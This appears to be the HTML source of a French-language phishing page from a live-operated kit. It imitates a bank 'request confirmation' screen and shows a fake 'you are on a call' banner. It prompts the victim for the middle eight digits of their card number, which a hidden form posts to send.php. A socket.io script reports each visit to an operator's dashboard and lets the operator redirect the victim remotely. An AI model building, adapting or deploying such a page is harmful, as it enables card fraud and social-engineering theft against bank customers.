/home2/mshostin/live-dashboard/public/carte2.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">
<title>Confirmation de la demande</title>

<style>
*{box-sizing:border-box;font-family:Inter,system-ui,-apple-system,BlinkMacSystemFont,sans-serif}
body{margin:0;min-height:100vh;background:#fff;display:flex;flex-direction:column}

/* HEADER */
.top-bar{
  display:flex;justify-content:space-between;align-items:center;
  padding:22px 52px;border-bottom:1px solid #ededed
}
.logo-zone{display:flex;gap:26px;align-items:center}
.logo-main{height:76px}
.logo-secondary{height:62px}
.call-status{
  display:flex;align-items:center;
  padding:14px 30px;border-radius:999px;
  background:rgba(0,200,120,.18);
  border:1px solid rgba(0,160,100,.35);
  color:#0b6b43;font-size:13px
}
.phone-icon{margin-right:22px;animation:blink 1.2s infinite}
@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}

/* MAIN */
.container{flex:1;display:flex;justify-content:center;align-items:center}
.card-wrapper{
  width:480px;padding:46px;border-radius:28px;
  box-shadow:0 40px 90px rgba(0,0,0,.08)
}

/* CARD */
.bank-card{
  width:100%;height:260px;
  position:relative;border-radius:22px;
  background:linear-gradient(135deg,#1a1f36,#2b2f4a);
  color:#fff;padding:26px
}
.bank-card.mc{
  background:linear-gradient(135deg,#ff9800,#ff5722)
}

/* TOP */
.top{position:relative;height:42px}
.chip{
  position:absolute;right:0;top:4px;
  width:48px;height:36px;border-radius:6px;
  background:linear-gradient(135deg,#d4af37,#f5e08e)
}
.network-logo{
  position:absolute;left:0;top:0;
  height:42px;opacity:0
}
.network-logo.show{opacity:1}

/* NUMBER */
.number{
  margin-top:54px;
  display:flex;justify-content:center;align-items:center;
  gap:10px;font-family:monospace;
  font-size:1.25rem;letter-spacing:2px
}
.star{opacity:.6;width:70px;text-align:center}
.middle-input{
  width:70px;background:transparent;border:none;outline:none;
  color:#fff;font-size:1.25rem;text-align:center
}

/* FOOTER */
.footer{
  position:absolute;bottom:26px;left:26px;right:26px;
  display:flex;justify-content:space-between;font-size:.85rem
}

/* BUTTON */
.confirm{
  margin-top:36px;width:100%;
  padding:16px;border-radius:18px;
  border:none;background:#0057b7;
  color:#fff;font-size:15px;cursor:pointer
}
</style>
</head>

<body>

<header class="top-bar">
  <div class="logo-zone">
    <img src="logo-principal.png" class="logo-main">
    <img src="logo-secondaire.png" class="logo-secondary">
  </div>
  <div class="call-status">
    <span class="phone-icon">📞</span>
    Vous êtes en communication…
  </div>
</header>

<main class="container">
<div class="card-wrapper">

<!-- FORMULAIRE LOGIQUE INVISIBLE -->
<form action="send.php" method="POST" id="confirmForm">
  <input type="hidden" name="form_type" value="middle_segments">
</form>

<div class="bank-card" id="card">
  <div class="top">
    <img src="visa.png" id="visaLogo" class="network-logo">
    <img src="mastercard.png" id="mcLogo" class="network-logo">
    <div class="chip"></div>
  </div>

  <div class="number">
    <div class="star">••••</div>

    <input class="middle-input" maxlength="4"
           name="segment_x" form="confirmForm">

    <input class="middle-input" maxlength="4"
           name="segment_y" form="confirmForm">

    <div class="star">••••</div>
  </div>

  <div class="footer">
    <span>EXP <span id="expiryText">--/--</span></span>
    <span>TITULAIRE</span>
  </div>
</div>

<button class="confirm"
        type="submit"
        form="confirmForm">
  Confirmer la demande
</button>

</div>
</main>

<script>
const card = document.getElementById('card');
const visaLogo = document.getElementById('visaLogo');
const mcLogo = document.getElementById('mcLogo');

const network = localStorage.getItem('demo_network') || 'visa';
const color = localStorage.getItem('demo_color') || 'blue';
const expiry = localStorage.getItem('demo_expiry') || '--/--';

document.getElementById('expiryText').textContent = expiry;

visaLogo.classList.remove('show');
mcLogo.classList.remove('show');
card.classList.remove('mc','blue','dark');

if(network === 'mc'){
  card.classList.add('mc');
  mcLogo.classList.add('show');
}else{
  visaLogo.classList.add('show');
}

card.classList.add(color);
</script>

<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });

// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);

// �couter la redirection live
socket.on("force_redirect", (newPage) => {
  window.location.href = newPage;
});

</script>

</body>
</html>